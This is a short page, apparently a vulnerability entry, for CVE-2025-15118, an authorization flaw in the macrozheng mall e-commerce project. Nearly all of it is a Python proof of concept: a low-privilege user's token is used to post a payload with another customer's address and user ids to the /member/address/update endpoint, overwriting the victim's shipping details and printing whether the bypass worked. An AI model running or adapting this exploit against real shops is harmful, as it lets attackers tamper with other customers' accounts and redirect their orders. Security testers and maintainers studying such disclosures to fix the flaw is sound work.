CVE-2025-15118 macrozheng mall会员地址更新不当授权漏洞

import requests # CVE-2025-15118 PoC - macrozheng mall Unauthorized Address Modification # Target: /member/address/update endpoint target_url = "http://target-server/mall-api/member/address/update" # Attacker-controlled session (low-privilege user) session = requests.Session() session.headers.update({ 'Content-Type': 'application/json', 'Authorization': 'Bearer <attacker_token>' }) # Malicious payload - modify victim's address without proper authorization payload = { "id": <victim_address_id>, "userId": <victim_user_id>, # Unauthorized user ID "name": "Attacker Name", "phone": "1234567890", "province": "Attacker Province", "city": "Attacker City", "region": "Attacker Region", "detailAddress": "Malicious Address" } response = session.post(target_url, json=payload) if response.status_code == 200: print("[+] Address modification successful - Authorization bypass confirmed") else: print("[-] Attack failed - Status:", response.status_code)